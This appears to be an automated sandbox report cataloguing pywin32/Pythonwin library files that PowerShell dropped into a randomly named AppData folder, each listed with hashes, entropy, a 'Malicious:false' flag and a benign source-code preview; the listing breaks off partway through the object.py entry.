              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\mdi_pychecker.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):28975
              Entropy (8bit):4.5364847874971765
              Encrypted:false
              SSDEEP:
              MD5:AF34F4E8CA5665CBD609C8D539D0C899
              SHA1:4748704FF60270C8760970AB0E96ED47900B394B
              SHA-256:5917B87F05758AD32E141DB916B83EBEC85F6C0E953B3C830875249E065638A2
              SHA-512:4289066989BBF6DEA727BD446D5626829C74E5FAC13B0424E7669A5A177A2261C7A0512DA3C4FFF0CC13498D9BB4F770923ECEC24392E598E9F1100B660D2804
              Malicious:false
              Reputation:unknown
              Preview:######################################################################.##.## The Pychecker MDI Plug-In UserModule for Pythonwin.##.## contributed by Robert Kiendl.##.## Style is similar to (and inherited) from the SGrepMDI UserModule.##.## Usage:.##.## Start Pychecker on current file: Menu/File/New../Pychecker..## Use it: Jump to Pychecker warning source lines by double-click..## Auto-add "#$pycheck_no" / "#$pycheck_no=specific-re-pattern" tags.## to source lines by context/right-mouse-click on warning lines..##.## It requires pychecker installed and the pychecker.bat to be on.## the PATH. Example pychecker.bat:.##.## REM pychecker.bat.## C:\bin\python.exe C:\PYTHON23\Lib\site-packages\pychecker\checker.py %1 %2 %3 %4 %5 %6 %7 %8 %9.##.## Adding it as default module in PythonWin:.##.## +++ ./intpyapp.py.2006-10-02 17:59:32.974161600 +0200.## @@ -272,7 +282,7 @@.## .def LoadUserModules(self, moduleNames = None):.## ..# Load the users modules..## ..if moduleNames is None:.## -...d

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\scriptutils.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):23232
              Entropy (8bit):4.625752024930352
              Encrypted:false
              SSDEEP:
              MD5:3FA91AE2F8D827F6F7493636E3EF42DE
              SHA1:A1858B85AB1647DCACE4C5DC1E4D743997AB30AE
              SHA-256:B7BA3C633BD8B912FACDBB0EB706F57785DF1F5137AF6E62503938B3042AAABC
              SHA-512:1EEE85598BFB3405D617CC12FFDF7B51DBD9F689E3634054FB23C56AB56BC94D33F13189FECAC9D95041B6C4FA351CC9D3C079D97ED9E9B38B7BBB1108813E8F
              Malicious:false
              Reputation:unknown
              Preview:""".Various utilities for running/importing a script.""".import bdb.import linecache.import os.import sys.import traceback..import __main__.import win32api.import win32con.import win32ui.from pywin.mfc import dialog.from pywin.mfc.docview import TreeView..from .cmdline import ParseArgs..RS_DEBUGGER_NONE = 0 # Dont run under the debugger..RS_DEBUGGER_STEP = 1 # Start stepping under the debugger.RS_DEBUGGER_GO = 2 # Just run under the debugger, stopping only at break-points..RS_DEBUGGER_PM = 3 # Dont run under debugger, but do post-mortem analysis on exception...debugging_options = """No debugging.Step-through in the debugger.Run in the debugger.Post-Mortem of unhandled exceptions""".split(. "\n".)..byte_cr = "\r".encode("ascii").byte_lf = "\n".encode("ascii").byte_crlf = "\r\n".encode("ascii")...# A dialog box for the "Run Script" command..class DlgRunScript(dialog.Dialog):. "A class for the 'run script' dialog".. def __init__(self, bHaveDebugger):. dialog.Dialog.__i

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\sgrepmdi.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):24972
              Entropy (8bit):4.450431007513399
              Encrypted:false
              SSDEEP:
              MD5:739FD32DA981B43D1CC9F7E98720017C
              SHA1:6EC45280E74CADCA61EA3BD1FEB16E23234E0284
              SHA-256:312C260C2E0385B6FBFE92975FC48943A8CEB34AF93D33D76E71497235CF155A
              SHA-512:56072052F6AABA2AFFAE9FEDBB3CDE6FE797720953645F65E741A01A8CEAC5FC04892F408076B1DF192E4F6DF81CDE85D9926CDAE686EBEC106337A67FA3E417
              Malicious:false
              Reputation:unknown
              Preview:# SGrepMDI is by Gordon McMillan (gmcm@hypernet.com).# It does basically what Find In Files does in MSVC with a couple enhancements..# - It saves any directories in the app's ini file (if you want to get rid.# .of them you'll have to edit the file).# - "Directories" can be directories,.# -.semicolon separated lists of "directories",.# -.environment variables that evaluate to "directories",.# -.registry path names that evaluate to "directories",.# -.all of which is recursive, so you can mix them all up..# - It is MDI, so you can 'nest' greps and return to earlier ones,.# .(ie, have multiple results open at the same time).# - Like FIF, double clicking a line opens an editor and takes you to the line..# - You can highlight text, right click and start a new grep with the selected.# .text as search pattern and same directories etc as before..# - You can save grep parameters (so you don't lose your hardearned pattern).# .from File|Save.# - You can save grep results by right clicking in t

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\startup.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2847
              Entropy (8bit):4.818753732087679
              Encrypted:false
              SSDEEP:
              MD5:6F528ECE40B18F85CB4695E07DEF6DE5
              SHA1:047EF48463C4DFE1129AAA4C357B202F31CAA822
              SHA-256:0DBCAA89CD5101BA15092209C424DC8039082F472E94207632D2875F2F5CBB27
              SHA-512:5C73CD1B0455106A183DF3FF83E5E5925DFE9DC59FF6C1210D6094AF087863897B4295773F6C3F0096F5B32E2A2FA536F97B872EF92F3C76BABA497940C1F7E8
              Malicious:false
              Reputation:unknown
              Preview:# startup.py.#."The main application startup code for PythonWin."..#.# This does the basic command line handling...# Keep this as short as possible, cos error output is only redirected if.# this runs OK. Errors in imported modules are much better - the messages go somewhere (not any more :-)..import os.import sys..import win32api.import win32ui..if not sys.argv:. # Initialize sys.argv from commandline. When sys.argv is empty list (. # different from [''] meaning "no cmd line arguments" ), then C. # bootstrapping or another method of invocation failed to initialize. # sys.argv and it will be done here. ( This was a workaround for a bug in. # win32ui but is retained for other situations. ). argv = win32api.CommandLineToArgv(win32api.GetCommandLine()). sys.argv = argv[1:]. if os.getcwd() not in sys.path and "." not in sys.path:. sys.path.insert(0, os.getcwd())..# You may wish to redirect error output somewhere useful if you have startup errors..# eg, 'impor

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\stdin.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6584
              Entropy (8bit):4.430368341661001
              Encrypted:false
              SSDEEP:
              MD5:779DAA247AD98D623265DD978F8F45B2
              SHA1:228187723DEE7D4C4ECF4721A016E1834757DB96
              SHA-256:5AECCBD881306B45100F09997E93EED403E5D57809517BD7345F4D5ADC120CB6
              SHA-512:9511DE7A479F1311CE4B582D95CE66B101CB667D98AF8DD36580227D1EF048C62CBB8858DBFD7DC5C5C1096357B498D2803F6D9572A73682876080FA8598643F
              Malicious:false
              Reputation:unknown
              Preview:# Copyright (c) 2000 David Abrahams. Permission to copy, use, modify, sell.# and distribute this software is granted provided this copyright.# notice appears in all copies. This software is provided "as is" without.# express or implied warranty, and with no claim as to its suitability for.# any purpose.."""Provides a class Stdin which can be used to emulate the regular old.sys.stdin for the PythonWin interactive window. Right now it just pops.up a raw_input() dialog. With luck, someone will integrate it into the.actual PythonWin interactive window someday...WARNING: Importing this file automatically replaces sys.stdin with an.instance of Stdin (below). This is useful because you can just open.Stdin.py in PythonWin and hit the import button to get it set up right.if you don't feel like changing PythonWin's source. To put things back.the way they were, simply use this magic incantation:. import sys. sys.stdin = sys.stdin.real_file.""".import sys..try:. get_input_line = raw_input

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\toolmenu.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):9369
              Entropy (8bit):4.707765657430447
              Encrypted:false
              SSDEEP:
              MD5:9EC0D59C03FD3B953B91793523CAC864
              SHA1:5A6153011FD0A34FC0D51E70F011E9AFA8C78863
              SHA-256:DE941FAB3EDD0213569A624E7F2DFC744D29A9282CCEFFA20E278B273F651220
              SHA-512:0670C2BFB1C7A6A7C0CA6ABE898390F44D762383745666A8F812C0077206F79C852F61F596F16B82867CC1736E919103909A3533E18FEFC2DA61C4A37AE932D7
              Malicious:false
              Reputation:unknown
              Preview:# toolmenu.py..import sys..import win32api.import win32con.import win32ui..from . import app..tools = {}.idPos = 100..# The default items should no tools menu exist in the INI file..defaultToolMenuItems = [. ("Browser", "win32ui.GetApp().OnViewBrowse(0,0)"),. (. "Browse PythonPath",. "from pywin.tools import browseProjects;browseProjects.Browse()",. ),. ("Edit Python Path", "from pywin.tools import regedit;regedit.EditRegistry()"),. ("COM Makepy utility", "from win32com.client import makepy;makepy.main()"),. (. "COM Browser",. "from win32com.client import combrowse;combrowse.main(modal=False)",. ),. (. "Trace Collector Debugging tool",. "from pywin.tools import TraceCollector;TraceCollector.MakeOutputWindow()",. ),.]...def LoadToolMenuItems():. # Load from the registry.. items = []. lookNo = 1. while 1:. menu = win32ui.GetProfileVal("Tools Menu\\%s" % lookNo, "", ""). if menu == "":.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\window.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):535
              Entropy (8bit):4.9611604606840505
              Encrypted:false
              SSDEEP:
              MD5:57D70F791843C91E65EE5E218775EDED
              SHA1:2594F2BAAA48A797FF9867C014A05A48644181CA
              SHA-256:89566D4A8CA81DDCD291909915F4C521DF04C4F08BD6EA1E73AAED121487CB08
              SHA-512:C04319B0BB8387B6885414F5542F8550D895360A9B3537F580406EBB9DA1BC3BE38F08B6435A91FF4E071EF0E5B8BD23C11EC8DF298582E437CF04CC12B35F6E
              Malicious:false
              Reputation:unknown
              Preview:# Framework Window classes...# Most Pythonwin windows should use these classes rather than.# the raw MFC ones if they want Pythonwin specific functionality..import pywin.mfc.window.import win32con...class MDIChildWnd(pywin.mfc.window.MDIChildWnd):. def AutoRestore(self):. "If the window is minimised or maximised, restore it.". p = self.GetWindowPlacement(). if p[1] == win32con.SW_MINIMIZE or p[1] == win32con.SW_SHOWMINIMIZED:. self.SetWindowPlacement(p[0], win32con.SW_RESTORE, p[2], p[3], p[4]).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\framework\winout.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):20312
              Entropy (8bit):4.581654387141737
              Encrypted:false
              SSDEEP:
              MD5:9EB4277350EB49CB90C442D49ECA0631
              SHA1:17493C9248F1769BC6072C26DE77A879D9B9A262
              SHA-256:4A47F88AAE5E5B212869FC60828C2B53CDE3DC4B1F11B49889B59F65938BA26F
              SHA-512:8A05409A206E39A73C173F50AE85E06747237D75F7DB752B54645271670D1FFF099519C57965DB7376CA5A1249D5DD949D21F9033956E559F3392C3848B7DFBA
              Malicious:false
              Reputation:unknown
              Preview:# winout.py.#.# generic "output window".#.# This Window will detect itself closing, and recreate next time output is.# written to it...# This has the option of writing output at idle time (by hooking the.# idle message, and queueing output) or writing as each.# write is executed..# Updating the window directly gives a jerky appearance as many writes.# take place between commands, and the windows scrolls, and updates etc.# Updating at idle-time may defer all output of a long process, giving the.# appearence nothing is happening..# There is a compromise "line" mode, which will output whenever.# a complete line is available...# behaviour depends on self.writeQueueing..# This module is thread safe - output can originate from any thread. If any thread.# other than the main thread attempts to print, it is always queued until next idle time..import queue.import re..import win32api.import win32con.import win32ui.from pywin.framework import app, window.from pywin.mfc import docview..debug = la

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\idle\AutoExpand.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2714
              Entropy (8bit):4.1476646118507166
              Encrypted:false
              SSDEEP:
              MD5:3EB71BFBAA8E711E20947793841139C0
              SHA1:71088FBC63CD92116EF379E2FA903174B4C1E59B
              SHA-256:E965226123BDEF4C98961BBB5BA88083F4E95AE42A07C4EE9F05D9DC6D22F009
              SHA-512:46FA954AE4BD9BCE3446F6C472446DF8F18B6B562227087F5251BAADEEAEDCE9506B078BE686625EBFADEC3DDD02321E336632A59482BB418C123396881F6971
              Malicious:false
              Reputation:unknown
              Preview:import re.import string..###$ event <<expand-word>>.###$ win <Alt-slash>.###$ unix <Alt-slash>...class AutoExpand:. keydefs = {. "<<expand-word>>": ["<Alt-slash>"],. }.. unix_keydefs = {. "<<expand-word>>": ["<Meta-slash>"],. }.. menudefs = [. (. "edit",. [. ("E_xpand word", "<<expand-word>>"),. ],. ),. ].. wordchars = string.ascii_letters + string.digits + "_".. def __init__(self, editwin):. self.text = editwin.text. self.text.wordlist = None # XXX what is this?. self.state = None.. def expand_word_event(self, event):. curinsert = self.text.index("insert"). curline = self.text.get("insert linestart", "insert lineend"). if not self.state:. words = self.getwords(). index = 0. else:. words, index, insert, line = self.state. if insert != curinsert or line != curline:. words = self

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\idle\AutoIndent.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):20682
              Entropy (8bit):4.252065700758349
              Encrypted:false
              SSDEEP:
              MD5:DC3B0E008D701AB5D77BDDB4A99F2046
              SHA1:424295FB0EF10C3677A893C6FAE6550A78D824FC
              SHA-256:8D0E00FAF18D7CDECFE4BB2C6961DB8DFBE73ED829042558B7A2AF59C8020DD8
              SHA-512:611A18CEEECEFFD56F02DFF50A4331EB09DFC2DA7805CCD28B8775EBCB4CCB2565BA23B5221C3EB8F517E5161A8EBEA8EADD978A880E284F550C6E76D908447F
              Malicious:false
              Reputation:unknown
              Preview:import sys.import tokenize..from pywin import default_scintilla_encoding..from . import PyParse..if sys.version_info < (3,):. # in py2k, tokenize() takes a 'token eater' callback, while. # generate_tokens is a generator that works with str objects.. token_generator = tokenize.generate_tokens.else:. # in py3k tokenize() is the generator working with 'byte' objects, and. # token_generator is the 'undocumented b/w compat' function that. # theoretically works with str objects - but actually seems to fail). token_generator = tokenize.tokenize...class AutoIndent:. menudefs = [. (. "edit",. [. None,. ("_Indent region", "<<indent-region>>"),. ("_Dedent region", "<<dedent-region>>"),. ("Comment _out region", "<<comment-region>>"),. ("U_ncomment region", "<<uncomment-region>>"),. ("Tabify region", "<<tabify-region>>"),. ("Untabify region",

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\idle\CallTips.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):6372
              Entropy (8bit):4.331987781000828
              Encrypted:false
              SSDEEP:
              MD5:8E4C2D3EBA3C17961CA827664F893BCF
              SHA1:E4C8E37C90E02158FEC807C433912043F7DA95E8
              SHA-256:3A3454E10F5519974B2E257DB21ECEF56113ED7E749E05D7BEAA9DEFA29C3088
              SHA-512:BD9DC7F1D8CE86BCC50DC80F75154F7540784DDAD55C62626FAEE2AB8D6367A0ECE4F22F559ACBEB0381FAE97B7B1F10320C3C4005B7EFF68B8619D5E38C35DE
              Malicious:false
              Reputation:unknown
              Preview:# CallTips.py - An IDLE extension that provides "Call Tips" - ie, a floating window that.# displays parameter information as you open parens...import inspect.import string.import sys.import traceback...class CallTips:. menudefs = [].. keydefs = {. "<<paren-open>>": ["<Key-parenleft>"],. "<<paren-close>>": ["<Key-parenright>"],. "<<check-calltip-cancel>>": ["<KeyRelease>"],. "<<calltip-cancel>>": ["<ButtonPress>", "<Key-Escape>"],. }.. windows_keydefs = {}.. unix_keydefs = {}.. def __init__(self, editwin):. self.editwin = editwin. self.text = editwin.text. self.calltip = None. if hasattr(self.text, "make_calltip_window"):. self._make_calltip_window = self.text.make_calltip_window. else:. self._make_calltip_window = self._make_tk_calltip_window.. def close(self):. self._make_calltip_window = None.. # Makes a Tk based calltip window. Used by IDLE, but not Pythonwin.. # S

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\idle\FormatParagraph.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):5727
              Entropy (8bit):4.394603822126328
              Encrypted:false
              SSDEEP:
              MD5:3CF25A5E5CB7402B113937BDAB4CC1B9
              SHA1:E357FC507FDBFA7C2D5DB9FAB73DAA6A4CFF6B5A
              SHA-256:C7809EB50F1FCF8F85E3D0867924DF2047FE121F13CF526CEBCB1401466BBCCD
              SHA-512:D51C0CE656C2A2A37DF6FBA135C3E3B9066F42626C722267D38C677D2BD591C6C8AC59CDB4AEBB4FBA444C0AEC9062FE333B598E61062EC6B6A6BD1B0F8F23B4
              Malicious:false
              Reputation:unknown
              Preview:# Extension to format a paragraph..# Does basic, standard text formatting, and also understands Python.# comment blocks. Thus, for editing Python source code, this.# extension is really only suitable for reformatting these comment.# blocks or triple-quoted strings...# Known problems with comment reformatting:.# * If there is a selection marked, and the first line of the.# selection is not complete, the block will probably not be detected.# as comments, and will have the normal "text formatting" rules.# applied..# * If a comment block has leading whitespace that mixes tabs and.# spaces, they will not be considered part of the same block..# * Fancy comments, like this bulleted list, arent handled :-)..import re...class FormatParagraph:. menudefs = [. (. "edit",. [. ("Format Paragraph", "<<format-paragraph>>"),. ],. ). ].. keydefs = {. "<<format-paragraph>>": ["<Alt-q>"],. }.. unix_keydefs = {.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\idle\IdleHistory.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):3069
              Entropy (8bit):4.1340413851981355
              Encrypted:false
              SSDEEP:
              MD5:B815FCA1AF9503A92419F20246D48ABD
              SHA1:1CB99DA007989D2EA3269A85486EFF1DAF3D8F2E
              SHA-256:BCE4E7E672276D01D69ED79C7ED1D9F5889006AD6B3FBAC602CAC9B355BC0947
              SHA-512:619BFF443025CE7D70EF72DC84F1CC68EB3E6F0F80B8A129F132C49C025AD9C9E82D4B0B892B75C789E80CB4FD593A7090747F8D66E135C3F870D87DDDC80B1B
              Malicious:false
              Reputation:unknown
              Preview:class History:. def __init__(self, text, output_sep="\n"):. self.text = text. self.history = []. self.history_prefix = None. self.history_pointer = None. self.output_sep = output_sep. text.bind("<<history-previous>>", self.history_prev). text.bind("<<history-next>>", self.history_next).. def history_next(self, event):. self.history_do(0). return "break".. def history_prev(self, event):. self.history_do(1). return "break".. def _get_source(self, start, end):. # Get source code from start index to end index. Lines in the. # text control may be separated by sys.ps2 .. lines = self.text.get(start, end).split(self.output_sep). return "\n".join(lines).. def _put_source(self, where, source):. output = self.output_sep.join(source.split("\n")). self.text.insert(where, output).. def history_do(self, reverse):. nhist = len(self.history). pointer =

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\idle\PyParse.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):18492
              Entropy (8bit):4.094627670715275
              Encrypted:false
              SSDEEP:
              MD5:2881726294DCF58E56EFB900C5A0F8D3
              SHA1:DAB83CA4EC35577579E0DA320A0230D985640A9A
              SHA-256:43F04DAAC0C47DCA9A7B2507B1445BA876DEBF73B658F7F62D0A0E44B6666196
              SHA-512:C65C12AFA7085229E6C391F1C565087AD09145AD80E5E7D213E1EDEA269202CC695E614126B861EB4F928E8210A88DE75F5FF5C20E775EF4C585B0345720E51E
              Malicious:false
              Reputation:unknown
              Preview:import re.import string.import sys..# Reason last stmt is continued (or C_NONE if it's not)..C_NONE, C_BACKSLASH, C_STRING, C_BRACKET = list(range(4))..if 0: # for throwaway debugging output.. def dump(*stuff):. sys.__stdout__.write(" ".join(map(str, stuff)) + "\n")...# Find what looks like the start of a popular stmt..._synchre = re.compile(. r""". ^. [ \t]*. (?: if. | for. | while. | else. | def. | return. | assert. | break. | class. | continue. | elif. | try. | except. | raise. | import. ). \b.""",. re.VERBOSE | re.MULTILINE,.).search..# Match blank line or non-indenting comment line..._junkre = re.compile(. r""". [ \t]*. (?: \# \S .* )?. \n.""",. re.VERBOSE,.).match..# Match any flavor of string; the terminating quote is optional.# so that we're robust in the face of incomplete program text..._match_stringre = re.compile(. r""". \""" [^"\\]* (?:.

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\idle\__init__.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:ASCII text
              Category:dropped
              Size (bytes):55
              Entropy (8bit):4.162111531234448
              Encrypted:false
              SSDEEP:
              MD5:C2A467B129816CF02C12519E3E45DB0A
              SHA1:49D83D6E76EA862B9885CD4E0F4FD721DCF1F79A
              SHA-256:44B1DF947FF50D72D59B94198997B704164F45A1CD53FEFA952A8E17E3547F84
              SHA-512:AA54B67FB7B539616B131EC081FE27B0C7E3684490C19028226BA37760E6FB63BA7C1D6D814BFFA613C43A0EDAC655EF305CF09EC2A52D88FE916E7BFBD3D602
              Malicious:false
              Reputation:unknown
              Preview:# This file denotes the directory as a Python package..

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\mfc\activex.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2868
              Entropy (8bit):4.593442899717496
              Encrypted:false
              SSDEEP:
              MD5:33A3FC76024153A2C91464ECF67B48D7
              SHA1:B351FE1B5981AC4BC64B310C84ACD913A9FB18CF
              SHA-256:786CD903AAD80332EEC07026AA0289776BEBCDE5A8B05086902054D782D46B6A
              SHA-512:6853C668A08B4BE27DEA2D2CF6D83F07DCF80AF3BCB398D3183A4983584165ECF7E9BA2EFEB156CA61F93986132AD4900DF18858FDB3BEC9D7B9584212071FF1
              Malicious:false
              Reputation:unknown
              Preview:"""Support for ActiveX control hosting in Pythonwin..""".import win32ui.import win32uiole..from . import window..# XXX - we are still "classic style" classes in py2x, so we need can't yet.# use 'type()' everywhere - revisit soon, as py2x will move to new-style too....try:. from types import ClassType as new_type.except ImportError:. new_type = type # py3k...class Control(window.Wnd):. """An ActiveX control base class. A new class must be derived from both. this class and the Events class. See the demos for more details.. """.. def __init__(self):. self.__dict__["_dispobj_"] = None. window.Wnd.__init__(self).. def _GetControlCLSID(self):. return self.CLSID.. def _GetDispatchClass(self):. return self.default_interface.. def _GetEventMap(self):. return self.default_source._dispid_to_func_.. def CreateControl(self, windowTitle, style, rect, parent, id, lic_string=None):. clsid = str(self._GetControlCLSID()).

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\mfc\afxres.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):15094
              Entropy (8bit):4.777558868848426
              Encrypted:false
              SSDEEP:
              MD5:370BEB77C36C0B2E840E6AB850FCE757
              SHA1:0A87A029CA417DAA03D22BE6EDDFDDBAC0B54D7A
              SHA-256:462659F2891D1D767EA4E7A32FC1DBBD05EC9FCFA9310ECDC0351B68F4C19ED5
              SHA-512:4E274071CA052CA0D0EF5297D61D06914F0BFB3161843B3CDCFDE5A2EA0368974FD2209732A4B00A488C84A80A5AB94AD4FD430FF1E4524C6425BAA59E4DA289
              Malicious:false
              Reputation:unknown
              Preview:# Generated by h2py from stdin.TCS_MULTILINE = 0x0200.CBRS_ALIGN_LEFT = 0x1000.CBRS_ALIGN_TOP = 0x2000.CBRS_ALIGN_RIGHT = 0x4000.CBRS_ALIGN_BOTTOM = 0x8000.CBRS_ALIGN_ANY = 0xF000.CBRS_BORDER_LEFT = 0x0100.CBRS_BORDER_TOP = 0x0200.CBRS_BORDER_RIGHT = 0x0400.CBRS_BORDER_BOTTOM = 0x0800.CBRS_BORDER_ANY = 0x0F00.CBRS_TOOLTIPS = 0x0010.CBRS_FLYBY = 0x0020.CBRS_FLOAT_MULTI = 0x0040.CBRS_BORDER_3D = 0x0080.CBRS_HIDE_INPLACE = 0x0008.CBRS_SIZE_DYNAMIC = 0x0004.CBRS_SIZE_FIXED = 0x0002.CBRS_FLOATING = 0x0001.CBRS_GRIPPER = 0x00400000.CBRS_ORIENT_HORZ = CBRS_ALIGN_TOP | CBRS_ALIGN_BOTTOM.CBRS_ORIENT_VERT = CBRS_ALIGN_LEFT | CBRS_ALIGN_RIGHT.CBRS_ORIENT_ANY = CBRS_ORIENT_HORZ | CBRS_ORIENT_VERT.CBRS_ALL = 0xFFFF.CBRS_NOALIGN = 0x00000000.CBRS_LEFT = CBRS_ALIGN_LEFT | CBRS_BORDER_RIGHT.CBRS_TOP = CBRS_ALIGN_TOP | CBRS_BORDER_BOTTOM.CBRS_RIGHT = CBRS_ALIGN_RIGHT | CBRS_BORDER_LEFT.CBRS_BOTTOM = CBRS_ALIGN_BOTTOM | CBRS_BORDER_TOP.SBPS_NORMAL = 0x0000.SBPS_NOBORDERS = 0x0100.SBPS_POPOUT = 0x0200.SB

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\mfc\dialog.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):9002
              Entropy (8bit):4.653477006452847
              Encrypted:false
              SSDEEP:
              MD5:12BC3CDBB2F36846A76A43060AFB93DA
              SHA1:94BB0F8D3EFCC2873BEEA25253551696662DDDFC
              SHA-256:1343399262F87394D38ADCCB5C6A2A7B999C41FC48AFD4D1F890140DB250F2D9
              SHA-512:57C7855DFA87487F55DB9D5D312CE89827B5E9F26642FC89A59F5B389E16D777F5CD49D07ACC67CF9578E36BF56C11097062E7180CB2C8C785DF1BE53AEBFBB6
              Malicious:false
              Reputation:unknown
              Preview:""" \.Base class for Dialogs. Also contains a few useful utility functions.""".# dialog.py.# Python class for Dialog Boxes in PythonWin...import win32con.import win32ui..# sob - 2to3 doesn't see this as a relative import :(.from pywin.mfc import window...def dllFromDll(dllid):. "given a 'dll' (maybe a dll, filename, etc), return a DLL object". if dllid == None:. return None. elif type("") == type(dllid):. return win32ui.LoadLibrary(dllid). else:. try:. dllid.GetFileName(). except AttributeError:. raise TypeError("DLL parameter must be None, a filename or a dll object"). return dllid...class Dialog(window.Wnd):. "Base class for a dialog".. def __init__(self, id, dllid=None):. """id is the resource ID, or a template. dllid may be None, a dll object, or a string with a dll name""". # must take a reference to the DLL until InitDialog.. self.dll = dllFromDll(dllid). if type(id) ==

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\mfc\docview.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):4089
              Entropy (8bit):4.654928602298063
              Encrypted:false
              SSDEEP:
              MD5:8791456FD7D550ECF2F6D9A49EBB55E5
              SHA1:6617C832DE99E3566A83B38640BF9C36B8908BA9
              SHA-256:30EAC40A598F11C20A0BA1008674651070D4FF7CC621F16F57C598D8CDBA52D9
              SHA-512:75C9DAE3DEDCBA988B5708AEB9DB717449F0BFAEB4916A2F0E1EC478CDC0EDEC57F52852693DD1140745C91C523F64AF154651E7F5DBE2F07A630826E5752627
              Malicious:false
              Reputation:unknown
              Preview:# document and view classes for MFC..import win32ui..from . import object, window...class View(window.Wnd):. def __init__(self, initobj):. window.Wnd.__init__(self, initobj).. def OnInitialUpdate(self):. pass...# Simple control based views..class CtrlView(View):. def __init__(self, doc, wndclass, style=0):. View.__init__(self, win32ui.CreateCtrlView(doc, wndclass, style))...class EditView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateEditView(doc))...class RichEditView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateRichEditView(doc))...class ListView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateListView(doc))...class TreeView(CtrlView):. def __init__(self, doc):. View.__init__(self, win32ui.CreateTreeView(doc))...# Other more advanced views..class ScrollView(View):. def __init__(self, doc):. View.__init__(self, win32ui.CreateView(

              C:\Users\user\AppData\Local\qkxB9Wn8nG\Lib\site-packages\pythonwin\pywin\mfc\object.py

              Download File
              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
              File Type:Python script, ASCII text executable
              Category:dropped
              Size (bytes):2179
              Entropy (8bit):4.386077735543855
              Encrypted:false
              SSDEEP:
              MD5:BE71EA2BF0C288E3AA3A2E30C08DF3E5
              SHA1:40E4B56C7DFF8623572D639D944C096C84E8B8F8
              SHA-256:2BB20C2218306A176B063BC860092852EA94186F385815F3E07388033CC69F1A
